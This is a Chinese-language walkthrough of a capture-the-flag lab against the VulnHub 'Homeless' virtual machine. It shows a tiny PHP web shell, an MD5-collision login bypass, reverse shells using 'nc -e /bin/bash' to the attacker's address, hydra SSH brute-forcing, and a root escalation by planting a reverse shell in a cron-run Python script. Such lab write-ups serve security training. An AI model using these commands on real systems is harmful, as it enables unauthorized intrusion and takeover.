1. 程式人生 > >滲透測試之Homeless靶機實戰

滲透測試之Homeless靶機實戰

前言

本次靶機難度中等,還是長了很多見識,值得學習

環境準備

下載Homeless靶機:https://download.vulnhub.com/homeless/Homeless.zip

這裡我用 virtual box 開啟

主機:kali linux 192.168.100.8

靶機 : Homeless靶機

輔助:windows 192.168.100.9

目標:拿下靶機root許可權和裡面的flag

資訊收集

1.確定靶機ip (我是將靶機的網路模式改成nat模式,共享主機的ip,讓靶機和主機在同一網段下)

掃描同網段下其餘存活主機:

netdiscover -r 192.168.100.0/24

這裡192.168.100.11就是目標靶機

 

然後用nmap對靶機的進行埠掃描

nmap -p 1-65535 192.168.100.11

只開了22 和80埠 

我們先從web下手

 

構造User-Agent

整個頁面都是雞湯,原始碼裡面有提示資訊

掃描目錄,有個robots.txt也有點提示資訊

在頁面上出現了agaent頭部資訊

 

那麼我們試著抓包改包看看

 

可以看到成功將我們上傳的User-Agent列印了出來

但是好像沒什麼其他返回,猜測是驗證了我們上傳的User-Agent,如果不是它想要的,就直接打印出來

所以我們需要找到一個它需要的User-Agent上傳

 

講真的這個靶機真的要膽大心細。

 

看下這個提示,仔細檢查。

在網頁原始碼這個位置有一個圖片,但是在頁面上也沒有顯示出來,這個應該也是個線索

 

 

我們需要在agaent欄位填上這個圖片的欄位 “Cyber​​dog Sledding Portal”(感覺真的挺坑的,而且圖片也很小,看不清)

 

然後我們訪問下http://192.168.100.11/myuploader_priv/

發現是一個上傳點那麼我們嘗試上傳webshell

發現對檔案大小有限制

經過一番測試,發現以下資訊:

可以上傳任意字尾檔案
檔案大小必須小於8bytes
新上傳的檔案會覆蓋之前上傳的檔案

我們必須構造一個足夠小的php檔案

 

構造如下程式碼寫入jlzj.php

<?=`ls`;                   #這句程式碼在php裡等同於<?php echo `ls`;?>  ,是這段程式碼的縮寫

 剛好8位元組

發現上傳成功,並且路徑也暴露出來為/files/shell.php

 

然後我們訪問下http://192.168.100.11/myuploader_priv/files/shell.php

 

可以看到有一個可疑txt檔案,訪問看看

 

 

發現一行密文,各種解密解不出來,我真傻,都提示我是ip/d5fa314e8577e3a7b8534a014b4dcb221de823ad

 

一個登陸頁面,毫無操作空間,突然看到右上角need Hint,點選就會下載這個頁面的原始碼

是登入頁面的後臺程式碼,看來需要思考思考如何繞過

重點在於這裡

 

要求我們POST的username,password,code值不能相同,但是md5必須型別和值都相等才能重定向到admin.php

說到這裡,大家可能想到ctf裡常用的md5 compare漏洞,但是注意,這裡是全等(===),相信大家都知道=====的區別,全等於會檢查型別和值。

所以會比較md5(username),md5(password),md5(code)型別和值,雙等於存在漏洞的原因其實是,0E開頭的MD5值php解析器會解析為numerical strings,在雙等於(==)情況下,會先判斷型別,識別為numerical strings,會強制轉換為數字,所以0e開頭的MD5值都為0,所以才能繞過,然而三等於就比較有脾氣了,必須一對一的核對兩個字串,不存在什麼型別轉換問題,所以開頭0e相同,後面不同,也就不滿足了

那這時大家肯定會說:那就用陣列繞過,反正大家都解析為NULL,然而並不行

 返回Your input can not be the same說明三個值相等了,因為三個值都進行了string強制型別轉換

那就沒辦法繞過了嗎?當然有

這裡使用一個md5快速碰撞工具fastcoll(下載連結附在文末),以及windows檔案hash檢視命令certutil -hashfile

 

這裡我先簡單演示下fastcoll用法

我們先使用fastcoll將一個notepad++.exe檔案生成為另外兩個不同的notepad++1.exe,notepad++2.exe

然後E盤下面就會多出notepad++1.exe 和notepad++2.exe兩個資料夾

 

然後我們用certutil命令看下他們的md5值

 

但是本次實驗,靶機需要的3個MD5相同的檔案

而fastcoll工具只能一次性生成兩個檔案,只有這兩個檔案的MD5值相同,所以這裡我們需要藉助一個工具tail.exe(下載地址見文末)

 

 

我們先用fastcoll 隨機生成2個md5值相同的檔案

fastcoll_v1.0.0.5.exe -o jlzj0 jlzj1      #-o引數代表隨機生成兩個相同MD5的檔案

 

 

然後我們在通過jlzj1再生成2個MD5相同的值 

D:\fastcoll>fastcoll_v1.0.0.5.exe -p jlzj1 -o jlzj1to1 jlzj1to2 #-p引數代表根據jlzj1檔案隨機生成兩個相同MD5的檔案,注意:生成兩個檔案的MD5與jlzj1不同

 

我們對比下jlzj1to1 和jlzj1to2的MD5值

然後我們對比下 jlzj1to1 和jlzj1 MD5值

我們發現值是不一樣的,我們用notepad++開啟這2個檔案看看到底區別在哪

 

這個是jlzj1to1的檔案

這個是jlzj1的檔案

但是我們這裡能看到jlzj1to1 和jlzj1有個公共的部分

然後我們再jlzj1to1中選擇處它比jlzj1多的部分看下它的大小

 

那麼就說明jlzj1to1多了後面的128(256/2)位的內容。

那麼接下來我們就要把 這多餘的部分提取出來 跟jlzj1結合成新的檔案 那麼結合出來的檔案MD5值就跟jlzj1to1的MD5值一樣了

 

C:\Users\Administrator\Desktop\md5>tail.exe -c 128 jlzj1to1 > a #-c 128代表將jlzj00的最後128位寫入檔案a,這128位正是jlzj1to1與jlzj1的MD5不同的原因

 

然後我們結合下,生成新的檔案

 

type jlzj1 a > jlzj1to3

type jlzj1 a > jlzj1to4

然後我們再檢視下他們的MD5值

我們再看看jlzj1to1和jlzj1to2的MD5

這樣我們就有4個MD5相同的檔案了

 

我們用windows下的curl.exe(類似於kali curl命令,下載連結附文末)進行POST測試

curl.exe --data-urlencode [email protected]:\Users\Administrator\Desktop\md5\jlzj1to1 --data-urlencode [email protected]:\Users\Administrator\Desktop\md5\jlzj1to2 --data-urlencode [email protected]:\Users\Administrator\Desktop\md5\jlzj1to3 --data-urlencode "remember=1&login=Login" http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/index.php -i

成功跳轉並拿到一個session =ipm65uvfi8v4kkuo3mk4ivtad6

 

我們用Cookies儲存下

然後訪問http://192.168.100.11/d5fa314e8577e3a7b8534a014b4dcb221de823ad/admin.php

 

 

是一個命令輸入框,明擺著命令執行拿shell

看來後臺未對輸入做任何限制

 

bash反彈shell

在kali中輸入命令:

 

nc -lvp 4444

 

在程式碼執行介面輸入:

nc -e /bin/bash 192.168.100.8 4444

 

提權

 

 

第一想法是核心提權,但是靶機無法使用wget以及gcc,這樣就不能使用溢位漏洞提權了,再試試別的方法

 

我們先切換到home目錄

再切到downfall

cd downfall

 

通過ls -la檢視目錄下的檔案

在/home目錄下看到一個隱藏檔案.secret_message

用cat命令查詢發現沒有響應,應該是沒有許可權,說不定downfall才能檢視

 

我們再用find看看還有沒有其他位置還有沒有檔案

find / -user downfall 2>/dev/null -ls

 

再試試另一條

find -type f -user root -group downfall 2>/dev/null

發現一個可疑的py指令碼

獲取下它的詳細資訊

 

看來需要爆破downfall的密碼才行

 

這是還記得robots.txt裡面提示的rockyou字典,我們hydra爆破該使用者ssh登入試試

 

但是rockyou的字典很大有100M,要跑字典的話需要花費很長很長的時間

可以分別文字或者多執行緒python指令碼去跑

 

但是作者在vulnhub留下了提示:

密碼是sec開頭的,這就好辦了,我們把rockyou.txt裡sec開頭的密碼提取出來

grep '^sec.*$' /usr/share/wordlists/rockyou.txt > pass.txt

 

然後開始爆破

hydra -l downfall -P pass.txt -t 4 192.168.100.11 ssh

爆破成功,密碼為secretlyinlove

登陸ssh

 

先看下.secret_message的內容

果然我們後來找到的檔案也是個線索

然後還有一份email  在/var/mail/downfall(可能你看的時候沒有這個資訊,那麼你等下一分鐘在cat下)

 

cat /var/mail/downfall  會發現內容很長

仔細看下

 

會發現 每隔一分鐘就會生成一次,這樣就講得通啦

那個homeless.py被設定為計劃任務,每分鐘執行一次,那麼我們可以通過修改那個py檔案提升許可權

 

我們對 /lib/logs/homeless.py進行修改

 

vim  /lib/logs/homeless.py

 

新增以下內容

os.system('/bin/nc -e /bin/bash 192.168.100.8 5555')

還有要在開頭加一句 #!/usr/bin/env python 要不然很可能會報錯!!!

這樣每分鐘都會反彈給我們一個shell

 

在kali上開啟nc監聽,等待系統自動執行指令碼,拿到root許可權

nc -lvnp 5555

 

 

然後我們cd切換到root目錄並且cat flag.txt檔案內容

 

 

 

參考連結

fastcoll下載連結:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip

tail.exe下載連結:https://www.trisunsoft.com/tail-for-windows.htm

curl.exe下載連結:https://curl.haxx.se/windows/